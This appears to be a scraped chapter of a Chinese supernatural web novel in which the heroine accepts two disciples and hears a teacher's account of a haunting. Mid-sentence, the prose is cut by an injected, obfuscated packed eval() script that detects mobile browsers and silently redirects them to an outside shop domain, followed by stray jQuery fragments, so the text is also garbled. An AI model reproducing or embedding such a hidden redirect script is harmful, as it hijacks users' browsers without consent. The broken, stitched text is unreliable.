钱黎修为大降,还被削掉了半边耳朵。此刻正躺在医院病床上,翻看阮夏的微博。
“废物,都是废物!”他拿起手机狠狠地往地上一砸。纪家人纯纯的废物,不仅公司被查,现在连一个简单的卖惨博同情都搞砸了。真是废物!
“吩咐下去,断了纪家所有的来往,让他们自生自灭!”
钱恒点头应是。
钱黎听到声音,转过头来,视线在他脸上转了一圈。
如同被阴冷的毒舌盯上,钱恒默默吞一下口水,低着头不敢吭声。自从和阮夏斗法被废,二哥整日如同鬼魅一般,脾气阴晴不定,没有人知道下一秒他会做什么。
钱黎收回视线,接过手下递来的新手机:“你手底下还有多少能用的人?”
“没有,”钱恒头埋得更低,“上次出事损失了不少,底下的人也暂时顶不上来。”
钱黎笑容更加诡异:“其实很多事情不必全部依靠别人,你不会,我可以教你。”
*
所有的事情告一段落,阮夏百无聊赖地靠倒在沙发上:“系统,我现在寿命有多少年了?”
系统翻阅后台数据,换算了一下:“目前是约三十五年。”
阮夏满意地笑了,还真的多谢那个钱黎了。
说起来,钱黎最近没有了什么动静,连荧幕前的活动也没有了。不知道是在蛰伏,还是在憋大招。
倒是苏棠,没有看清楚状况,依旧在蹦跶。
“没想到蹦跶最久的竟然是这个苏棠。”阮夏盘腿坐在沙发上,随手捏起一片薯片塞进嘴里。
正在陪孩子玩游戏的张舒雨闻言抬头,顺着她的视线看向电视,画面上一个身穿酒红色礼服的女人,正随着音乐甩动裙摆。
“是哦,她也算是厉害的了,能从那样的人身边全身而退。”
阮夏摇摇头,拿着遥控器换台:“不一定。”
张舒雨一愣:“你是说,她会出事?”
阮夏:“出事不出事我不知道,但是像钱恒那样的人,怎么可能甘心给人当了跳板?不过他们狗咬狗,跟我们没有关系。”
说完她看向客厅的人。
“你怎么还不走?”
林景之最近一直待在京州,一天往阮夏家里跑三回,怎么撵都撵不走。此刻正陪着孩子玩打架游戏,闻言抽空回头说道:“之前可是你答应要教我法术的,怎么能说话不算话呢?”
阮夏真想抽过去的自己一个嘴巴,当时情况紧急,一时口快,没想到现在被人拿住了把柄。
倒不是她说话不算话,毕竟这是门学问,要潜心多年才行。对于他这种没有基础的大龄人士,那更是难上加难。林景之这人机灵是机灵,年纪实在是不小了,何况就算不看年龄,也要讲究缘分和天赋。
林景之看她表情,悄悄凑过来套近乎:“大师,你看他们那些人出门,身后都跟着一帮弟子,显得多霸气。如果你不想收我当徒弟,我可以给你当小弟啊。你之前不是还收了一个女鬼当小弟嘛,我也可以啊。”
一番话说的阮夏心里有些动摇。她想了想,找徐观主李道长要了一些道家基础书籍名录,发到他手机上:“你回去把这些书籍都熟读,了解一下。然后我再给你找清微派的书给你熟记。”
系统对她的决定很是惊讶:“宿主,你真打算收他做徒弟啊?”
阮夏:“先看看吧,是我先承诺了他。”
林景之在京州待的时间不短,周围那些熟悉的不熟悉的人都让他混熟了。阮夏这边一松口,他就拿着大喇叭告诉所有人自己即将成为阮大师徒弟的事。
很多人痛心疾首,林景之这样一个入门都没有的普通人何德何能能得到大佬的青睐,破格收他做徒弟?尤其是天天混迹论坛的那些世家子弟。阮大师是什么人,年纪轻轻,道法高深,不管是阵法,还是符箓方面都有很深的造诣,能被她指点已经难得,更何况是拜她为师!
各大道观和道协的老人纷纷挑选出来天资不错的苗子,直接送到了阮夏跟前,希望能入她的眼。
阮夏上一世死的时候不过二十岁左右,连师弟都没有,更何况徒弟。她之前不过是敷衍林景之两句,觉得林景之一个富家小子,也吃不了修炼的苦,以退为进罢了。没想到这小子竟然直接对外宣称她要收他为徒。
阮夏想到如今的玄门,便静下心来认真挑选一番。按照天资和品行,挑出来了一个差不多的弟子。然后拿出手机联系方云年,让他把云初观传道,以及那些启蒙功法之类的书籍寄过来一些。
卫清和正在方清宇的监督下苦读,一听阮夏要他们的功法书籍,危机感顿生:“师父,师叔要功法干什么?她是不是收徒了?”
在得到肯定答案之后,先是蔫了一会,继而又跟打了鸡血一样,“师叔本来就嫌我不好好学习,这下有了新弟子,我更要往后排了,我得更努力才行。”
方云年和方清宇看到这倒是很欣慰,只是没想到阮夏竟然会萌生收徒的念头,还一收收了两个。
*
阮夏接到幼儿园老师来访电话的时候,正在家里给林景之和易嘉恒解惑。
易嘉恒就是她从一众人里选出来的徒弟,年纪不大,对符箓和阵法的领悟力却比其他人都强。换言之,他天赋不错。而且无论是面相上看,还是她近期的观察,这孩子的品行也挺好。
教一个也是教,教两个也是教。索性就和林景之一起收了。就目前来看,他确实有天赋,符箓基础一点就通。倒是林景之,需要解释好几遍才能听懂,要不是当时口快承诺了他,阮夏真想把人给撵了。
她把扫描的基本功法书籍发给他们,就听到了门铃声响。
张舒雨过去开门,正是家里两个孩子的班主任林老师。
“林老师稍微等下,我去叫一下一诺的姑姑。”
林璐璐微笑点头,双手不自觉地搅着包带。
她太紧张了。
这段时间,她遇到了一些事情,本来也没想往其他方面想,可是事情越来越不对。偶然的机会,她听说班里两个小朋友的姑姑懂一些东西,想来试一试。
阮夏让他们自己在房间里练习,自己出来见一下老师。刚走到客厅,坐在沙发上的老师局促的站了起来。
阮夏挑眉,这态度有点不像来家访的,目光在她身上绕了一圈:“老师,是有什么需要我帮忙的吗?”
林璐璐点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641246|203615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“是。呃那个,钱不是问题。”
阮夏闻言轻声笑了一下。
林璐璐感觉到自己脸都热了起来,心里却悄悄地松了口气。坐回沙发,她端起眼前的茶杯喝了一口热热的茶水,温度顺着喉咙蔓延全身,缓解了紧张的感觉。
她深吸一口气,开始说起发生在自己身上的诡异事情。
“大概是两个月前开始,我觉得我家里有一个鬼。”似乎想到这些事情还是很害怕,林璐璐双手握着茶杯来回摩挲,神色也变得不安。
“我看不到她,她也没有说伤害我,但是我能感觉到,她就在房子里。”
阮夏:“是怎么发现的?”
林璐璐盯着前方一个虚无的点回忆:“一开始的时候,是我养的猫,总是突然炸毛,焦躁不安,在房间里跳来跳去。我没有在意,只当是它被外面的声响吓到了。可是慢慢地,它越来越焦躁,连猫粮都不吃了。我便带它去看医生,结果什么问题也没有。回到家以后,我在聊天的时候把事情跟朋友说了,看看能不能得到什么有用的方法。她们告诉我说,也许它是感觉到了什么东西也说不定。”
林璐璐似乎更害怕了,握紧杯子的手指用力的都泛白了。
阮夏出声安抚她:“不要怕,慢慢说。”
林璐璐舒出一口气:“我听到她们这样说,心里也有一点害怕,但是没有到恐惧的地步。直到后来几天,我接到一个电话,是一个朋友的男朋友打来的。他说在整理我朋友遗物的时候,发现了我的东西,问我还要不要。东西其实不是什么贵重的东西,我便说我不要了,让他处置了。我刚挂完电话,就听到猫咪的叫声。”
回想起来那种声音,林璐璐心底再次泛起凉意,“不是普通的叫声,是那种恐惧到极致的凄厉声。我转头,就看到它紧紧盯着墙角,毛发直竖,整个身体拱起。我心里咯噔一下,这时候,墙角书架上摆放的手办突然掉了下来。”
“后来呢?”张舒雨听得也紧张了起来。
林璐璐又喝了一口水,缓了缓才继续道,“后来,我有点害怕,打电话让另一朋友来陪我。一连两天,也没有什么特殊的事情发生。小猫也挺正常。我以为之前的事情是我多想了,可是隔了几天同样的事情又发生了。我以为是自己招惹了什么不好的东西,于是周末到庙里拜了拜,可是依旧没有什么用。而且我书桌上频繁地有东西移动的迹象。后来……”
“后来,我发现自己本子上出现了一个大大的‘救’字,我吓了一大跳,我赶紧离开了家。最近这几天都没回去。”
张舒雨摸着下巴,说出自己的猜测:“它既然没有伤害你,还写了信息,它是不是向你寻求帮助的?”
“不知道。”林璐璐摇摇头,她最近几天都没敢回去,也是听到有家长说起阮夏懂这些,决定来试一试。
阮夏把手里的水杯放到桌子上:“先去你家看看吧。”
她话音刚落,林景之和易嘉恒屋里探出头:“我们也要去!”
易嘉恒是玄学世家子弟,对这些事都见怪不怪,想要去只是想学习。林景之凑热闹的成分更大一些。阮夏想了想,决定还是不带他们了,不过,如果真的牵扯到案件的话……